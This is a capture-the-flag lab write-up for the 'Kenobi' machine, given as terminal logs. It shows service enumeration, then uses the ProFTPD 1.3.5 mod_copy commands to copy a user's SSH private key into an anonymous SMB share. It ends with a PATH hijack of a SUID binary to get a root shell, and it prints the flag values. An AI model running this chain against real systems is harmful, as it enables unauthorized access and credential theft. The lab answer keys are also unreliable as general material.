kenobi

nmap, tcp connect scan, list version

```
root@kali:~/Desktop# nmap -sT -sV kenobi
Starting Nmap 7.70 ( https://nmap.org ) at 2020-03-05 16:12 +08
Stats: 0:00:07 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 88.80% done; ETC: 16:12 (0:00:01 remaining)
Nmap scan report for kenobi (10.10.140.237)
Host is up (0.19s latency).
Not shown: 993 closed ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         ProFTPD 1.3.5
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http        Apache httpd 2.4.18 ((Ubuntu))
111/tcp  open  rpcbind     2-4 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
2049/tcp open  nfs_acl     2-3 (RPC #100227)
```

Enumerating nfs

```
root@kali:/tmp/kenobi/var/www/html# nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount kenobi
Starting Nmap 7.70 ( https://nmap.org ) at 2020-03-05 12:22 +08
Nmap scan report for kenobi (10.10.142.49)
Host is up (0.19s latency).

PORT    STATE SERVICE
111/tcp open  rpcbind
| nfs-ls: Volume /var
|   access: Read Lookup NoModify NoExtend NoDelete NoExecute
| PERMISSION  UID  GID  SIZE  TIME                 FILENAME
| rwxr-xr-x   0    0    4096  2019-09-04T08:53:24  .
| rwxr-xr-x   0    0    4096  2019-09-04T12:27:33  ..
| rwxr-xr-x   0    0    4096  2019-09-04T12:09:49  backups
| rwxr-xr-x   0    0    4096  2019-09-04T10:37:44  cache
| rwxrwxrwt   0    0    4096  2019-09-04T08:43:56  crash
| rwxrwsr-x   0    50   4096  2016-04-12T20:14:23  local
| rwxrwxrwx   0    0    9     2019-09-04T08:41:33  lock
| rwxrwxr-x   0    108  4096  2019-09-04T10:37:44  log
| rwxr-xr-x   0    0    4096  2019-01-29T23:27:41  snap
| rwxr-xr-x   0    0    4096  2019-09-04T08:53:24  www
|_
| nfs-showmount:
|_  /var *
| nfs-statfs:
|   Filesystem  1K-blocks  Used       Available  Use%  Maxfilesize  Maxlink
|_  /var        9204224.0  1838588.0  6875040.0  22%   16.0T        32000

Nmap done: 1 IP address (1 host up) scanned in 3.39 seconds
root@kali:/tmp/kenobi/var/www/html#
```

Enumerating ftp service

```
root@kali:/tmp/kenobi# ftp
ftp> open
(to) kenobi
Connected to kenobi.
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.142.49]
Name (kenobi:root): ^C
ftp> bye
221 Goodbye.
root@kali:/tmp/kenobi#
```

Vulnerable ftp version found

```
root@kali:/tmp/kenobi# searchsploit proftpd | grep 1.3.5
ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit)
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution
ProFTPd 1.3.5 - File Copy
```

Enumerating smb service

```
root@kali:~/Desktop# smbclient -L \\kenobi -N

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        anonymous       Disk
        IPC$            IPC       IPC Service (kenobi server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        WORKGROUP            KENOBI
root@kali:~/Desktop#
```

```
root@kali:/tmp/kenobi# smbclient \\\\kenobi\\anonymous
Enter WORKGROUP\root's password:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Wed Sep  4 18:49:09 2019
  ..                                  D        0  Wed Sep  4 18:56:07 2019
  log.txt                             N    12237  Wed Sep  4 18:49:09 2019

                9204224 blocks of size 1024. 6877076 blocks available
```

Contents of log.txt
There are 2 important things to note
1. Location of id_rsa private key
2. Location of shares

```
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kenobi/.ssh/id_rsa):
Created directory '/home/kenobi/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kenobi/.ssh/id_rsa.
Your public key has been saved in /home/kenobi/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:C17GWSl/v7KlUZrOwWxSyk+F7gYhVzsbfqkCIkr2d7Q kenobi@kenobi
The key's randomart image is:
+---[RSA 2048]----+
|                 |
|           ..    |
|        . o. .   |
|       ..=o +.   |
|      . So.o++o. |
|  o ...+oo.Bo*o  |
| o o ..o.o+.@oo  |
|  . . . E .O+= . |
|     . .   oBo.  |
+----[SHA256]-----+
```

```
[anonymous]
   path = /home/kenobi/share
   browseable = yes
   read only = yes
   guest ok = yes
```

Copying kenobi's private key to shared directory so we are able to download it to our attacking machine

```
root@kali:/tmp/kenobi# !!
nc kenobi 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.142.49]
site cpfr /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
site cpto /home/kenobi/share/id_rsa
250 Copy successful
```

```
root@kali:/tmp/kenobi# smbclient \\\\kenobi\\anonymous
Enter WORKGROUP\root's password:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Thu Mar  5 11:32:41 2020
  ..                                  D        0  Wed Sep  4 18:56:07 2019
  id_rsa                              N     1675  Thu Mar  5 11:32:41 2020
  log.txt                             N    12237  Wed Sep  4 18:49:09 2019
get
                9204224 blocks of size 1024. 6877088 blocks available
smb: \> prompt
smb: \> get id_rsa
getting file \id_rsa of size 1675 as id_rsa (2.1 KiloBytes/sec) (average 2.1 KiloBytes/sec)
smb: \> exit
```

Login successful, proceed to view 1st flag

```
kenobi@kenobi:~$ cat user.txt
d0b0f3f53b6caa532a83915e19224899
kenobi@kenobi:~$
```

Finding suid-ed binaries. /usr/bin/menu seems to stand out

```
kenobi@kenobi:~$ find / - type f -perm -4000 -user root -group root 2> /dev/null | xargs ls -lah
-rwsr-xr-x 1 root root  31K Jul 12  2016 /bin/fusermount
-rwsr-xr-x 1 root root  40K May 16  2018 /bin/mount
-rwsr-xr-x 1 root root  44K May  7  2014 /bin/ping
-rwsr-xr-x 1 root root  44K May  7  2014 /bin/ping6
-rwsr-xr-x 1 root root  40K May 16  2017 /bin/su
-rwsr-xr-x 1 root root  27K May 16  2018 /bin/umount
-rwsr-xr-x 1 root root  93K May  8  2019 /sbin/mount.nfs
-rwsr-xr-x 1 root root  49K May 16  2017 /usr/bin/chfn
-rwsr-xr-x 1 root root  40K May 16  2017 /usr/bin/chsh
-rwsr-xr-x 1 root root  74K May 16  2017 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 8.7K Sep  4  2019 /usr/bin/menu
-rwsr-xr-x 1 root root  33K May 16  2017 /usr/bin/newgidmap
-rwsr-xr-x 1 root root  39K May 16  2017 /usr/bin/newgrp
-rwsr-xr-x 1 root root  33K May 16  2017 /usr/bin/newuidmap
-rwsr-xr-x 1 root root  53K May 16  2017 /usr/bin/passwd
-rwsr-xr-x 1 root root  23K Jan 15  2019 /usr/bin/pkexec
-rwsr-xr-x 1 root root 134K Jul  4  2017 /usr/bin/sudo
-rwsr-xr-x 1 root root  10K Mar 27  2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 419K Jan 31  2019 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root  15K Jan 15  2019 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-sr-x 1 root root  97K Jan 29  2019 /usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root root  39K Jun 14  2017 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
kenobi@kenobi:~$
```

Here we will do path manipulation

```
kenobi@kenobi:~$ menu

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :3
eth0      Link encap:Ethernet  HWaddr 02:4e:cc:56:5d:44
          inet addr:10.10.142.49  Bcast:10.10.255.255  Mask:255.255.0.0
          inet6 addr: fe80::4e:ccff:fe56:5d44/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:9001  Metric:1
          RX packets:80908 errors:0 dropped:0 overruns:0 frame:0
          TX packets:78997 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:4991382 (4.9 MB)  TX bytes:6150437 (6.1 MB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:198 errors:0 dropped:0 overruns:0 frame:0
          TX packets:198 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1
          RX bytes:14581 (14.5 KB)  TX bytes:14581 (14.5 KB)
```

We will make our custom directory to be the first path to be searched on if a program calls on ifconfig

```
kenobi@kenobi:~$ echo $PATH
/home/kenobi/bin:/home/kenobi/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
kenobi@kenobi:~$ export PATH=/home/kenobi/share/:$PATH
kenobi@kenobi:~$ echo $PATH
/home/kenobi/share/:/home/kenobi/bin:/home/kenobi/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
```

We will rename our bash binary as ifconfig

```
kenobi@kenobi:~$ cp share/bash share/ifconfig
kenobi@kenobi:~$ ls -lah share/
total 2.1M
drwxr-xr-x 2 kenobi kenobi  4.0K Mar  4 22:14 .
drwxr-xr-x 5 kenobi kenobi  4.0K Mar  4 22:07 ..
-rwxr-xr-x 1 kenobi kenobi 1014K Mar  4 22:13 bash
-rwxr-xr-x 1 kenobi kenobi 1014K Mar  4 22:14 ifconfig
-rw-rw-r-- 1 kenobi kenobi   12K Sep  4  2019 log.txt
```

Privilege escalation, when we choose option 3, we will automatically get root

```
kenobi@kenobi:~$ menu

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :3
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@kenobi:~# cd /root
root@kenobi:/root# ls -lah
total 32K
drwx------  3 root root 4.0K Sep  4  2019 .
drwxr-xr-x 23 root root 4.0K Sep  4  2019 ..
lrwxrwxrwx  1 root root    9 Sep  4  2019 .bash_history -> /dev/null
-rw-r--r--  1 root root 3.1K Oct 22  2015 .bashrc
drwx------  2 root root 4.0K Sep  4  2019 .cache
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root   33 Sep  4  2019 root.txt
-rw-------  1 root root 5.3K Sep  4  2019 .viminfo
root@kenobi:/root# cat root.txt
177b3cd862289f3738721c28381f02
```

Other notes:
/etc/exports for nfs

```
/var    *(ro,sync,no_subtree_check)
~
```